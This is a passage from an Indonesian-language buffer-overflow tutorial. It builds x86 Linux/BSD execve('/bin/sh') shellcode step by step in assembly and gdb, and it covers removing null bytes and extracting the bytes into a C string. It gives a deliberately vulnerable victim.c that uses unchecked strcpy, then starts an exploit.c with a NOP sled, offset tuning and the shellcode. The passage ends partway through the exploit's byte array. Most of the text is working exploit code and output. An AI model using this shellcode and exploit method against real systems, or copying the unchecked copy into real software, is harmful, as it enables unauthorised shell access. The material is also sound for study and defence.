 &lt;br /&gt;
 begitu kira-kira, bingun? yah enggak apa-lah, saya juga enggak&lt;br /&gt;
 yakin he-he-he.&lt;br /&gt;
 &lt;br /&gt;
 (enggak deh, bo-ong,.. cuma becanda, segitu aja marah, bener&lt;br /&gt;
 begitu koq. sungguh deh... please...)&lt;br /&gt;
 &lt;br /&gt;
 udah ah, kita lanjut... listingnya adalah sbb:&lt;br /&gt;
 &lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 DATA&lt;br /&gt;
 .LC0:&lt;br /&gt;
   .byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x0&lt;br /&gt;
 &lt;br /&gt;
 TEXT/CODE&lt;br /&gt;
 main:&lt;br /&gt;
   pushl %ebp		;&amp;gt;prolog&lt;br /&gt;
   movl %esp,%ebp	;&amp;gt;&lt;br /&gt;
   subl $24,%esp		;&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
   movl $.LC0,-8(%ebp)	; address sh[0] / .LC0 / &amp;quot;/bin/sh&amp;quot;&lt;br /&gt;
 			; disimpan ke stack&lt;br /&gt;
   movl $0,-4(%ebp)	; address sh[1] / NULL disimpan ke stack&lt;br /&gt;
 &lt;br /&gt;
   addl $-4,%esp		;&amp;gt;offset penala stack&lt;br /&gt;
   pushl $0		; arg3 = NULL&lt;br /&gt;
   leal -8(%ebp),%eax	; AX = address [BP-8]&lt;br /&gt;
   pushl %eax		; arg2 = offset address [BP-8]&lt;br /&gt;
   movl -8(%ebp),%eax	; AX = isi memori dari [BP-8]&lt;br /&gt;
   pushl %eax		; arg1 = address &amp;quot;/bin/sh&amp;quot; &lt;br /&gt;
   call execve&lt;br /&gt;
   addl $16,%esp		;&amp;gt;penala stack&lt;br /&gt;
 &lt;br /&gt;
   addl $-12,%esp	;&amp;gt;offset penala stack&lt;br /&gt;
   pushl $0		; arg1&lt;br /&gt;
   call _exit&lt;br /&gt;
   addl $16,%esp		;&amp;gt;penala stack&lt;br /&gt;
 .L2:&lt;br /&gt;
   leave&lt;br /&gt;
   ret&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 &lt;br /&gt;
 Kita ambil beberapa baris assembly yang kita perlukan untuk&lt;br /&gt;
 menyusun program kita, yaitu pemanggilan spawning dengan execve&lt;br /&gt;
 dan clean exit&lt;br /&gt;
 &lt;br /&gt;
 [aa]$gdb -q contoh4&lt;br /&gt;
 (gdb) disass main&lt;br /&gt;
 Dump of assembler code for function main:&lt;br /&gt;
 0x80481d8 &amp;lt;main&amp;gt;:       push   %ebp&lt;br /&gt;
 0x80481d9 &amp;lt;main+1&amp;gt;:     mov    %esp,%ebp&lt;br /&gt;
 0x80481db &amp;lt;main+3&amp;gt;:     sub    $0x18,%esp&lt;br /&gt;
 0x80481de &amp;lt;main+6&amp;gt;:     movl   $0x8049c41,0xfffffff8(%ebp)&lt;br /&gt;
 0x80481e5 &amp;lt;main+13&amp;gt;:    movl   $0x0,0xfffffffc(%ebp)&lt;br /&gt;
 0x80481ec &amp;lt;main+20&amp;gt;:    add    $0xfffffffc,%esp&lt;br /&gt;
 0x80481ef &amp;lt;main+23&amp;gt;:    push   $0x0&lt;br /&gt;
 0x80481f1 &amp;lt;main+25&amp;gt;:    lea    0xfffffff8(%ebp),%eax&lt;br /&gt;
 0x80481f4 &amp;lt;main+28&amp;gt;:    push   %eax&lt;br /&gt;
 0x80481f5 &amp;lt;main+29&amp;gt;:    mov    0xfffffff8(%ebp),%eax&lt;br /&gt;
 0x80481f8 &amp;lt;main+32&amp;gt;:    push   %eax&lt;br /&gt;
 0x80481f9 &amp;lt;main+33&amp;gt;:    call   0x8048360 &amp;lt;execve&amp;gt;&lt;br /&gt;
 0x80481fe &amp;lt;main+38&amp;gt;:    add    $0x10,%esp&lt;br /&gt;
 0x8048201 &amp;lt;main+41&amp;gt;:    add    $0xfffffff4,%esp&lt;br /&gt;
 0x8048204 &amp;lt;main+44&amp;gt;:    push   $0x0&lt;br /&gt;
 0x8048206 &amp;lt;main+46&amp;gt;:    call   0x804834c &amp;lt;_exit&amp;gt;&lt;br /&gt;
 0x804820b &amp;lt;main+51&amp;gt;:    add    $0x10,%esp&lt;br /&gt;
 0x804820e &amp;lt;main+54&amp;gt;:    mov    %esi,%esi&lt;br /&gt;
 0x8048210 &amp;lt;main+56&amp;gt;:    leave&lt;br /&gt;
 0x8048211 &amp;lt;main+57&amp;gt;:    ret&lt;br /&gt;
 End of assembler dump.&lt;br /&gt;
 (gdb) gdb execve&lt;br /&gt;
 Undefined command: &amp;quot;gdb&amp;quot;.  Try &amp;quot;help&amp;quot;.&lt;br /&gt;
 (gdb) oops&lt;br /&gt;
 Undefined command: &amp;quot;oops&amp;quot;.  Try &amp;quot;help&amp;quot;.&lt;br /&gt;
 (gdb) disass execve&lt;br /&gt;
 Dump of assembler code for function execve:&lt;br /&gt;
 0x8048360 &amp;lt;execve&amp;gt;:     lea    0x3b,%eax&lt;br /&gt;
 0x8048366 &amp;lt;execve+6&amp;gt;:   int    $0x80&lt;br /&gt;
 0x8048368 &amp;lt;execve+8&amp;gt;:   jb     0x8048358 &amp;lt;_exit+12&amp;gt;&lt;br /&gt;
 0x804836a &amp;lt;execve+10&amp;gt;:  ret&lt;br /&gt;
 0x804836b &amp;lt;execve+11&amp;gt;:  nop&lt;br /&gt;
 0x804836c &amp;lt;execve+12&amp;gt;:  push   %ebp&lt;br /&gt;
 0x804836d &amp;lt;execve+13&amp;gt;:  mov    %esp,%ebp&lt;br /&gt;
 0x804836f &amp;lt;execve+15&amp;gt;:  sub    $0xc,%esp&lt;br /&gt;
 0x8048372 &amp;lt;execve+18&amp;gt;:  push   %edi&lt;br /&gt;
 .&lt;br /&gt;
 .&lt;br /&gt;
 (dan seterusnya beberapa lembar)&lt;br /&gt;
 (gdb) disass exit&lt;br /&gt;
 Dump of assembler code for function exit:&lt;br /&gt;
 0x804991c &amp;lt;exit&amp;gt;:       push   %ebp&lt;br /&gt;
 0x804991d &amp;lt;exit+1&amp;gt;:     mov    %esp,%ebp&lt;br /&gt;
 0x804991f &amp;lt;exit+3&amp;gt;:     sub    $0xc,%esp&lt;br /&gt;
 0x8049922 &amp;lt;exit+6&amp;gt;:     push   %edi&lt;br /&gt;
 0x8049923 &amp;lt;exit+7&amp;gt;:     push   %esi&lt;br /&gt;
 0x8049924 &amp;lt;exit+8&amp;gt;:     push   %ebx&lt;br /&gt;
 0x804992d &amp;lt;exit+17&amp;gt;:    je     0x804994a &amp;lt;exit+46&amp;gt;&lt;br /&gt;
 0x804992f &amp;lt;exit+19&amp;gt;:    nop&lt;br /&gt;
 .&lt;br /&gt;
 .&lt;br /&gt;
 (dan seterusnya... salah. mustinya &amp;quot;_exit&amp;quot;, bukan &amp;quot;exit&amp;quot;)&lt;br /&gt;
 (gdb) disass _exit&lt;br /&gt;
 Dump of assembler code for function _exit:&lt;br /&gt;
 0x804834c &amp;lt;_exit&amp;gt;:      lea    0x1,%eax&lt;br /&gt;
 0x8048352 &amp;lt;_exit+6&amp;gt;:    int    $0x80&lt;br /&gt;
 0x8048354 &amp;lt;_exit+8&amp;gt;:    ret&lt;br /&gt;
 0x8048355 &amp;lt;_exit+9&amp;gt;:    lea    0x0(%esi),%esi&lt;br /&gt;
 0x8048358 &amp;lt;_exit+12&amp;gt;:   jmp    0x8049a34 &amp;lt;.cerror&amp;gt;&lt;br /&gt;
 0x804835d &amp;lt;_exit+17&amp;gt;:   lea    0x0(%esi),%esi&lt;br /&gt;
 End of assembler dump.&lt;br /&gt;
 (gdb) q&lt;br /&gt;
 [aa]$&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 3.4. Shellcode&lt;br /&gt;
 &lt;br /&gt;
 Nah sekarang kita cukup punya bahan. Menggunakan trik lama, kita&lt;br /&gt;
 masukkan address string ke stack dengan perintah: &amp;quot;call&amp;quot;.&lt;br /&gt;
 &lt;br /&gt;
 contoh5.c (assembler code)&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
     pushl $0		; address NULL&lt;br /&gt;
     jmp shell		; ambil address stringz &amp;quot;/bin/sh&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
   mulai:&lt;br /&gt;
     pushl $0		; arg3 (SP berkurang 4)&lt;br /&gt;
     leal 4(%esp),%eax	; jadi address string berada di SP+4 &lt;br /&gt;
     pushl %eax		; masukkan ke arg2 (SP berkurang lagi 4)&lt;br /&gt;
     mov 8(%esp),%eax	; address string sekarang di SP+8	&lt;br /&gt;
     pushl %eax		; masukkan sebagai arg 1&lt;br /&gt;
     sub $4,%esp		; dummy-ret (buat syscall)&lt;br /&gt;
     mov $0x3b,%eax	; service number 0x3b = execve&lt;br /&gt;
     int $0x80		; syscall&lt;br /&gt;
     add $16,%esp	; penala stack&lt;br /&gt;
     add $8,%esp		; offset untuk ret &amp;amp; push 0 diatas&lt;br /&gt;
 &lt;br /&gt;
     pushl $0&lt;br /&gt;
     sub $4,%esp&lt;br /&gt;
     mov $0x1,%eax&lt;br /&gt;
     int $0x80&lt;br /&gt;
 &lt;br /&gt;
     add $8,%esp&lt;br /&gt;
 &lt;br /&gt;
     jmp CIAO&lt;br /&gt;
   &lt;br /&gt;
   shell:&lt;br /&gt;
     call (mulai)	; address stringz &amp;quot;/bin/sh&amp;quot;&lt;br /&gt;
     .asciz \&amp;quot;/bin/sh\&amp;quot;  ; disimpan ke stack (SP)&lt;br /&gt;
   CIAO:&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 &lt;br /&gt;
 lalu tinggal kita masukkan ke dalam block assembler int main() {&lt;br /&gt;
 asm(&amp;quot; xxxx &amp;quot;); }, selesailah sudah :) mari kita test hasilnya:&lt;br /&gt;
 &lt;br /&gt;
 [aa]$./contoh5&lt;br /&gt;
 $ echo &amp;quot;Hello shell!&amp;quot;&lt;br /&gt;
 Hello shell!&lt;br /&gt;
 $ exit&lt;br /&gt;
 [aa]$&lt;br /&gt;
 &lt;br /&gt;
 Lalu kita ambil kode-bytenya dengan debugger.&lt;br /&gt;
 Catatan: supaya kelihatan rapi sebaiknya gunakan mode layar&lt;br /&gt;
 minimal 86 kolom. saran saya gunakan x windows atau pake putty&lt;br /&gt;
 telnet, tinggal copy-paste :)&lt;br /&gt;
 &lt;br /&gt;
 [aa]$gdb -q contoh5&lt;br /&gt;
 (gdb) set disass intel&lt;br /&gt;
 (gdb) disass main&lt;br /&gt;
 Dump of assembler code for function main:&lt;br /&gt;
 0x80481d8 &amp;lt;main&amp;gt;:       push   %ebp&lt;br /&gt;
 0x80481d9 &amp;lt;main+1&amp;gt;:     mov    %esp,%ebp&lt;br /&gt;
 0x80481db &amp;lt;main+3&amp;gt;:     push   $0x0&lt;br /&gt;
 0x80481dd &amp;lt;main+5&amp;gt;:     jmp    0x804820c &amp;lt;shell&amp;gt;&lt;br /&gt;
 0x80481df &amp;lt;mulai&amp;gt;:      push   $0x0&lt;br /&gt;
 0x80481e1 &amp;lt;mulai+2&amp;gt;:    lea    0x4(%esp,1),%eax&lt;br /&gt;
 0x80481e5 &amp;lt;mulai+6&amp;gt;:    push   %eax&lt;br /&gt;
 0x80481e6 &amp;lt;mulai+7&amp;gt;:    mov    0x8(%esp,1),%eax&lt;br /&gt;
 0x80481ea &amp;lt;mulai+11&amp;gt;:   push   %eax&lt;br /&gt;
 0x80481eb &amp;lt;mulai+12&amp;gt;:   sub    $0x4,%esp&lt;br /&gt;
 0x80481ee &amp;lt;mulai+15&amp;gt;:   mov    $0x3b,%eax&lt;br /&gt;
 0x80481f3 &amp;lt;mulai+20&amp;gt;:   int    $0x80&lt;br /&gt;
 0x80481f5 &amp;lt;mulai+22&amp;gt;:   add    $0x10,%esp&lt;br /&gt;
 0x80481f8 &amp;lt;mulai+25&amp;gt;:   add    $0x8,%esp&lt;br /&gt;
 0x80481fb &amp;lt;mulai+28&amp;gt;:   push   $0x0&lt;br /&gt;
 0x80481fd &amp;lt;mulai+30&amp;gt;:   sub    $0x4,%esp&lt;br /&gt;
 0x8048200 &amp;lt;mulai+33&amp;gt;:   mov    $0x1,%eax&lt;br /&gt;
 0x8048205 &amp;lt;mulai+38&amp;gt;:   int    $0x80&lt;br /&gt;
 0x8048207 &amp;lt;mulai+40&amp;gt;:   add    $0x8,%esp&lt;br /&gt;
 0x804820a &amp;lt;mulai+43&amp;gt;:   jmp    0x8048219 &amp;lt;CIAO&amp;gt;&lt;br /&gt;
 0x804820c &amp;lt;shell&amp;gt;:      call   0x80481df &amp;lt;mulai&amp;gt;&lt;br /&gt;
 0x8048211 &amp;lt;shell+5&amp;gt;:    das&lt;br /&gt;
 0x8048212 &amp;lt;shell+6&amp;gt;:    bound  %ebp,0x6e(%ecx)&lt;br /&gt;
 0x8048215 &amp;lt;shell+9&amp;gt;:    das&lt;br /&gt;
 0x8048216 &amp;lt;shell+10&amp;gt;:   jae    0x8048280 &amp;lt;atexit+100&amp;gt;&lt;br /&gt;
 0x8048218 &amp;lt;shell+12&amp;gt;:   add    %cl,%cl&lt;br /&gt;
 0x804821a &amp;lt;CIAO+1&amp;gt;:     ret&lt;br /&gt;
 End of assembler dump.&lt;br /&gt;
 (gdb) print CIAO - (main+3)&lt;br /&gt;
 $1 = 62 (jumlah byte yang perlu didump)&lt;br /&gt;
 (gdb) x/62b main+3&lt;br /&gt;
 0x80481db &amp;lt;main+3&amp;gt;:   0x6a 0x00 0xeb 0x2d 0x6a 0x00 0x8d 0x44&lt;br /&gt;
 0x80481e3 &amp;lt;mulai+4&amp;gt;:  0x24 0x04 0x50 0x8b 0x44 0x24 0x08 0x50&lt;br /&gt;
 0x80481eb &amp;lt;mulai+12&amp;gt;: 0x83 0xec 0x04 0xb8 0x3b 0x00 0x00 0x00&lt;br /&gt;
 0x80481f3 &amp;lt;mulai+20&amp;gt;: 0xcd 0x80 0x83 0xc4 0x10 0x83 0xc4 0x08&lt;br /&gt;
 0x80481fb &amp;lt;mulai+28&amp;gt;: 0x6a 0x00 0x83 0xec 0x04 0xb8 0x01 0x00&lt;br /&gt;
 0x8048203 &amp;lt;mulai+36&amp;gt;: 0x00 0x00 0xcd 0x80 0x83 0xc4 0x08 0xeb&lt;br /&gt;
 0x804820b &amp;lt;mulai+44&amp;gt;: 0x0d 0xe8 0xce 0xff 0xff 0xff 0x2f 0x62&lt;br /&gt;
 0x8048213 &amp;lt;shell+7&amp;gt;:  0x69 0x6e 0x2f 0x73 0x68 0x00&lt;br /&gt;
 (gdb)q&lt;br /&gt;
 [aa]$&lt;br /&gt;
 &lt;br /&gt;
 hmm... tapi, masih banyak byte 00 di dalamnya, ini tidak bagus&lt;br /&gt;
 buat BO, string yang akan kita inputkan bisa putus di tengah&lt;br /&gt;
 jalan. Tapi tidak apalah, ini cuma sekedar contoh, banyak&lt;br /&gt;
 shelcodes berserakan di rimba kang-ouw, tinggal kita pungut mana&lt;br /&gt;
 yang kita mau sesuai OS target.&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 3.5. Merapikan Shellcode&lt;br /&gt;
 &lt;br /&gt;
 Shellcode yang efektif, menghasilkan kode byte yang tidak&lt;br /&gt;
 mengandung karakter kontrol (0 - 0x1F), malah kalau bisa juga&lt;br /&gt;
 tidak mengandung simbol-simbol tertentu seperti backslash (\),&lt;br /&gt;
 single/doublequotes (&#039;/&amp;quot;), anglebracket (&amp;lt;&amp;gt;) dsb.&lt;br /&gt;
 &lt;br /&gt;
 Trik-trik yang bisa digunakan a.l.:&lt;br /&gt;
 1. mengganti perintah MOV X dengan pasangan PUSH/POP&lt;br /&gt;
 2. menggunakan XOR untuk mereset nilai (membuatnya 0) &lt;br /&gt;
 3. mengganti perintah ADD N dengan SUB -N &lt;br /&gt;
 &lt;br /&gt;
 lain-lain:&lt;br /&gt;
 - jika menggunakan displacement index, perbesar/tambah&lt;br /&gt;
   offset hingga lebih dari 0x20&lt;br /&gt;
 - usahakan jumlah kode-byte merupakan kelipatan 4&lt;br /&gt;
 &lt;br /&gt;
 Shellcode dibawah ini memodifikasi kodenya sendiri (self-&lt;br /&gt;
 modifying) yaitu dengan mengisi NULL dibelakang &amp;quot;/bin/sh&amp;quot;, serta&lt;br /&gt;
 menyimpan nilai di dua lokasi memori setelahnya (seukuran 2&lt;br /&gt;
 pointer atau 8 byte). Jadi, program dibawah ini tidak bisa&lt;br /&gt;
 langsung dijalankan, (hanya untuk diambil code-byte-nya saja).&lt;br /&gt;
 &lt;br /&gt;
 contoh6.c&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 int main() {&lt;br /&gt;
 asm(&amp;quot;&lt;br /&gt;
     jmp store&lt;br /&gt;
 &lt;br /&gt;
   mulai:&lt;br /&gt;
     popl %edi           # salin address \&amp;quot;/bin/sh\&amp;quot; ke DI&lt;br /&gt;
     pushl %edi          # simpan lagi ke stack&lt;br /&gt;
     xorl %eax,%eax      # reset EAX&lt;br /&gt;
     sub $-7,%edi        # incar ujung string \&amp;quot;/bin/sh\&amp;quot;&lt;br /&gt;
     cld&lt;br /&gt;
     stosb               # ASCIIZ \&amp;quot;/bin/sh\&amp;quot;&lt;br /&gt;
     popl %eax           # salin address \&amp;quot;/bin/sh\&amp;quot; ke EAX&lt;br /&gt;
     stosl               # simpan ke memory storage1&lt;br /&gt;
     xorl %eax,%eax      # reset EAX&lt;br /&gt;
     stosl               # simpan ke memory storage2&lt;br /&gt;
 &lt;br /&gt;
   param:&lt;br /&gt;
     pushl %eax          # -&amp;gt; arg3&lt;br /&gt;
 &lt;br /&gt;
     leal -8(%edi),%esi  # ESI = address storage1&lt;br /&gt;
     pushl %esi          # -&amp;gt; arg2&lt;br /&gt;
     movl -8(%edi),%esi  # ESI = isi memori storage1&lt;br /&gt;
     pushl %esi          # -&amp;gt; arg3&lt;br /&gt;
 //  alternatif lain, lebih singkat:&lt;br /&gt;
 //    add $-8,%edi&lt;br /&gt;
 //    pushl %edi&lt;br /&gt;
 //    pushl (%edi)&lt;br /&gt;
 &lt;br /&gt;
     pushl %eax          # dummy, syscall ret-address&lt;br /&gt;
     movb $0x3b,%al      # service call = 3B&lt;br /&gt;
     int $0x80           # syscall&lt;br /&gt;
     sub $-0x16,%esp&lt;br /&gt;
 &lt;br /&gt;
 //  dipotong, biar irit:&lt;br /&gt;
 //    xorl %eax,%eax      # reset EAX&lt;br /&gt;
 //    pushl %eax          # arg1&lt;br /&gt;
 //    pushl %eax          # dummy&lt;br /&gt;
 //    inc %eax            # service call = 01&lt;br /&gt;
 //    int $0x80           # syscall&lt;br /&gt;
 //    sub $-8,%esp&lt;br /&gt;
 &lt;br /&gt;
     leave&lt;br /&gt;
     ret&lt;br /&gt;
 &lt;br /&gt;
   store:&lt;br /&gt;
     call mulai&lt;br /&gt;
   shell:&lt;br /&gt;
     .ascii \&amp;quot;/bin/sh0\&amp;quot;,&lt;br /&gt;
   storage1:&lt;br /&gt;
     .ascii \&amp;quot;1234\&amp;quot;&lt;br /&gt;
   storage2:&lt;br /&gt;
     .ascii \&amp;quot;5678\&amp;quot;&lt;br /&gt;
 CIAO:&lt;br /&gt;
 &amp;quot;);&lt;br /&gt;
 }&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 &lt;br /&gt;
 [aa]$gcc -o contoh6 contoh6.c&lt;br /&gt;
 [aa]$echo &amp;quot;print CIAO - (main+3)&amp;quot; | gdb -q contoh6&lt;br /&gt;
 (gdb) $1 = 56&lt;br /&gt;
 (gdb) [aa]&lt;br /&gt;
 [aa]$echo &amp;quot;x/56b main+3&amp;quot; | gdb -q contoh6&lt;br /&gt;
 (gdb) 0x80481db &amp;lt;main+3&amp;gt;:  0xeb 0x21 0x5f 0x57 0x31 0xc0 0x83 0xef&lt;br /&gt;
 0x80481e3 &amp;lt;mulai+6&amp;gt;:  0xf9 0xfc 0xaa 0x58 0xab 0x31 0xc0 0xab&lt;br /&gt;
 0x80481eb &amp;lt;param&amp;gt;:    0x50 0x8d 0x77 0xf8 0x56 0x8b 0x77 0xf8&lt;br /&gt;
 0x80481f3 &amp;lt;param+8&amp;gt;:  0x56 0x50 0xb0 0x3b 0xcd 0x80 0x83 0xec&lt;br /&gt;
 0x80481fb &amp;lt;param+16&amp;gt;: 0xea 0xc9 0xc3 0xe8 0xda 0xff 0xff 0xff&lt;br /&gt;
 0x8048203 &amp;lt;shell&amp;gt;:    0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x30&lt;br /&gt;
 0x804820b &amp;lt;storage1&amp;gt;: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38&lt;br /&gt;
 (gdb) [aa]$&lt;br /&gt;
 &lt;br /&gt;
 setelah kita lihat formatnya, langsung kita copy saja ke file&lt;br /&gt;
 contoh7.c supaya tidak repot&lt;br /&gt;
 &lt;br /&gt;
 [aa]$echo &amp;quot;x/56b main+3&amp;quot; | gdb -q contoh6 |\&lt;br /&gt;
 &amp;gt; sed -E s/&amp;quot;^.*:(.*)&amp;quot;/&amp;quot;\&amp;quot;\1\&amp;quot;&amp;quot;/g |\&lt;br /&gt;
 &amp;gt; sed -E s/&amp;quot;[[:space:]]0&amp;quot;/&amp;quot;\\\\&amp;quot;/g |\&lt;br /&gt;
 &amp;gt; tee contoh7.c&lt;br /&gt;
 &amp;quot;\xeb\x21\x5f\x57\x31\xc0\x83\xef&amp;quot;&lt;br /&gt;
 &amp;quot;\xf9\xfc\xaa\x58\xab\x31\xc0\xab&amp;quot;&lt;br /&gt;
 &amp;quot;\x50\x8d\x77\xf8\x56\x8b\x77\xf8&amp;quot;&lt;br /&gt;
 &amp;quot;\x56\x50\xb0\x3b\xcd\x80\x83\xec&amp;quot;&lt;br /&gt;
 &amp;quot;\xea\xc9\xc3\xe8\xda\xff\xff\xff&amp;quot;&lt;br /&gt;
 &amp;quot;\x2f\x62\x69\x6e\x2f\x73\x68\x30&amp;quot;&lt;br /&gt;
 &amp;quot;\x31\x32\x33\x34\x35\x36\x37\x38&amp;quot;&lt;br /&gt;
 (gdb)&lt;br /&gt;
 [aa]$&lt;br /&gt;
 &lt;br /&gt;
 lalu kita edit.&lt;br /&gt;
 &lt;br /&gt;
 contoh7.c&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 char shell[] =&lt;br /&gt;
 &amp;quot;\xeb\x21\x5f\x57\x31\xc0\x83\xef&amp;quot;&lt;br /&gt;
 &amp;quot;\xf9\xfc\xaa\x58\xab\x31\xc0\xab&amp;quot;&lt;br /&gt;
 &amp;quot;\x50\x8d\x77\xf8\x56\x8b\x77\xf8&amp;quot;&lt;br /&gt;
 &amp;quot;\x56\x50\xb0\x3b\xcd\x80\x83\xec&amp;quot;&lt;br /&gt;
 &amp;quot;\xea\xc9\xc3\xe8\xda\xff\xff\xff&amp;quot;&lt;br /&gt;
 &amp;quot;\x2f\x62\x69\x6e\x2f\x73\x68\x30&amp;quot;&lt;br /&gt;
 &amp;quot;\x31\x32\x33\x34\x35\x36\x37\x38&amp;quot;&lt;br /&gt;
 ;&lt;br /&gt;
 &lt;br /&gt;
 int main() {&lt;br /&gt;
   int *ret;&lt;br /&gt;
   ret = (int*) &amp;amp;ret + 2; // 2 pointer ke long integer&lt;br /&gt;
                          // = 8 bytes&lt;br /&gt;
   (*ret) = (int) shell;&lt;br /&gt;
 }&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 &lt;br /&gt;
 Selanjutnya dikompile dan langsung dicoba:&lt;br /&gt;
 &lt;br /&gt;
 [aa]$gcc -o contoh7 contoh7.c&lt;br /&gt;
 [aa]$./contoh7&lt;br /&gt;
 $ 	=&amp;gt; (INI ADALAH SHELL)&lt;br /&gt;
 OK, kita sudah masuk kedalam shellcode&lt;br /&gt;
 &lt;br /&gt;
 $ who am i&lt;br /&gt;
 aa               ttyp2    Feb 11 00:54 (aa)&lt;br /&gt;
 $ uname -prs&lt;br /&gt;
 Annix 4.56-CANTIX i386&lt;br /&gt;
 $ make love&lt;br /&gt;
 make: don&#039;t know how to make love. Stop&lt;br /&gt;
 $ echo Inul Daratista have a better asses than pinguin&lt;br /&gt;
 $ Inul Daratista have a better asses than pinguin&lt;br /&gt;
 $ exit&lt;br /&gt;
 [aa]$&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 3.6. Exploit&lt;br /&gt;
 &lt;br /&gt;
 Pada saat sebuah fungsi dijalankan, dimanapun levelnya berada,&lt;br /&gt;
 awalnya nilai SP-nya selalu sama (nilainya tergantung kepada OS&lt;br /&gt;
 ybs.).  Seperti diketahui, return value dari sebuah fungsi&lt;br /&gt;
 diperoleh dari nilai register AX, maka dengan menyalin SP ke AX,&lt;br /&gt;
 kita dapat mengambil nilai SP untuk diproses lebih lanjut.&lt;br /&gt;
 &lt;br /&gt;
 unsigned long SP(void) {&lt;br /&gt;
   asm(&amp;quot;movl %esp,%eax&amp;quot;);&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 Namun sayangnya kita tidak tahu posisi sebenarnya dari buffer&lt;br /&gt;
 yang akan kita overflow, jadi mau tidak mau ya harus dikira-kira&lt;br /&gt;
 saja sendiri :). Misalnya seperti gambar di bawah ini, jika bufY&lt;br /&gt;
 adalah buffer yang exploitable, maka posisinya di stack adalah SP&lt;br /&gt;
 minus seluruh offset dari buf1 s.d. bufY. Oleh sebab itulah dalam&lt;br /&gt;
 program nanti kita perlu menambah satu variabel yang bisa merubah&lt;br /&gt;
 offset stack ini.&lt;br /&gt;
 &lt;br /&gt;
 gambar-3.6a.&lt;br /&gt;
  ____________________________//___________________|___&lt;br /&gt;
    |      |   bufY    |              |    |   |   |&lt;br /&gt;
    | bufZ |exploitable| bufX    buf1 |buf0|BP |RET|&lt;br /&gt;
  __|______|___________|______//______|____|___|___|___&lt;br /&gt;
                                                   |&lt;br /&gt;
 &lt;br /&gt;
 Tujuan utama kita adalah menimpa return-address yang disimpan di&lt;br /&gt;
 stack agar mengarah kembali ke SP yang berisi shellcode kita.&lt;br /&gt;
 Untuk menambah peluang keberhasilan, kita bungkus shellcode&lt;br /&gt;
 dengan deretan NOP di depannya serta barisan return-address di&lt;br /&gt;
 belakangnya.&lt;br /&gt;
 &lt;br /&gt;
 gambar-3.6b.&lt;br /&gt;
  _________|______________________________________________&lt;br /&gt;
    |      |           |               |&lt;br /&gt;
    | bufZ |   NOPs..  |   Shellcode   | Return Adresses..&lt;br /&gt;
  __|______|___________|_______________|__________________&lt;br /&gt;
           |                               |&lt;br /&gt;
                                           |JMP&lt;br /&gt;
                  |&amp;lt;------------------------&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 Pada umumnya address alignment adalah 4, artinya data disimpan&lt;br /&gt;
 dalam address memori dalam kelipatan 4, intel sendiri, dengan&lt;br /&gt;
 alasan performansi, memang menyarankan minimal dalam word&lt;br /&gt;
 boundary (kelipatan 2), dalam praktek, compiler seperti gcc malah&lt;br /&gt;
 melipatnya dalam 8 atau 16 (seperti kita lihat pada contoh-contoh&lt;br /&gt;
 diatas yang melakukan perapian stack dalam kelipatan 16 (biasa&lt;br /&gt;
 disebut juga 1 paragraph). Dalam program exploit nanti, kita akan&lt;br /&gt;
 mengakomodasi kemungkinan anomali atas address alignment, buat&lt;br /&gt;
 mengakali program-program yang mungkin dikompile secara tidak&lt;br /&gt;
 standar atau dipatch secara biner sembarangan, udik, kampungan,&lt;br /&gt;
 dsb. dsb.&lt;br /&gt;
 &lt;br /&gt;
 Oke deh kakak, untuk menguji shellcode, kita buat dulu sebuah&lt;br /&gt;
 program yang secara tidak senonoh, menyalin argumen ke buffernya&lt;br /&gt;
 tanpa melakukan pengechekan dhulu sebhelumnyha:&lt;br /&gt;
 &lt;br /&gt;
 victim.c&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 #define EXPLOITABLE_BUFFER_SIZE 256&lt;br /&gt;
 &lt;br /&gt;
 int main(int argc, char *argv[]) {&lt;br /&gt;
   char msg[]=&amp;quot;no argumen specified&amp;quot;;&lt;br /&gt;
   char memble[EXPLOITABLE_BUFFER_SIZE];&lt;br /&gt;
   strcpy(memble, argc &amp;gt; 1 ? argv[1] : msg);&lt;br /&gt;
   printf(&amp;quot;%s\n&amp;quot;, memble);&lt;br /&gt;
 }&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 &lt;br /&gt;
 Selanjutnya kita buat program yang menyalin exploit kode ke&lt;br /&gt;
 environment, yang lantas bisa kita inputkan nantinya (supaya&lt;br /&gt;
 tidak perlu diketik manual), sebagai argumen untuk program&lt;br /&gt;
 victim diatas.&lt;br /&gt;
 &lt;br /&gt;
 Program ini dapat dipanggil dengan argumen kustomisasi yaitu&lt;br /&gt;
 [bufsize] [offset] [alignment] dengan nilai default: 512 0 0&lt;br /&gt;
 &lt;br /&gt;
 exploit.c&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 #define DEFAULT_BUFSIZE 512&lt;br /&gt;
 #define DEFAULT_OFFSET 0&lt;br /&gt;
 #define ALIGNMENT 0&lt;br /&gt;
 #define ENV_STRING &amp;quot;BUF&amp;quot;&lt;br /&gt;
 #define NOP 0x90&lt;br /&gt;
 #define midpointer(X) ((X&amp;gt;&amp;gt;3)&amp;lt;&amp;lt;2)&lt;br /&gt;
 &lt;br /&gt;
 char shell[] =&lt;br /&gt;
 &amp;quot;\xeb\x1f\x5f\x57\x31\xc0\x83\xef&amp;quot;&lt;br /&gt;
 &amp;quot;\xf9\xfc\xaa\x58\xab\x31\xc0\xab&amp;quot;&lt;br /&gt;
 &amp;quot;\x50\x83\xc7\xf8\x57\xff\x37\x50&amp;quot;&lt;br /&gt;
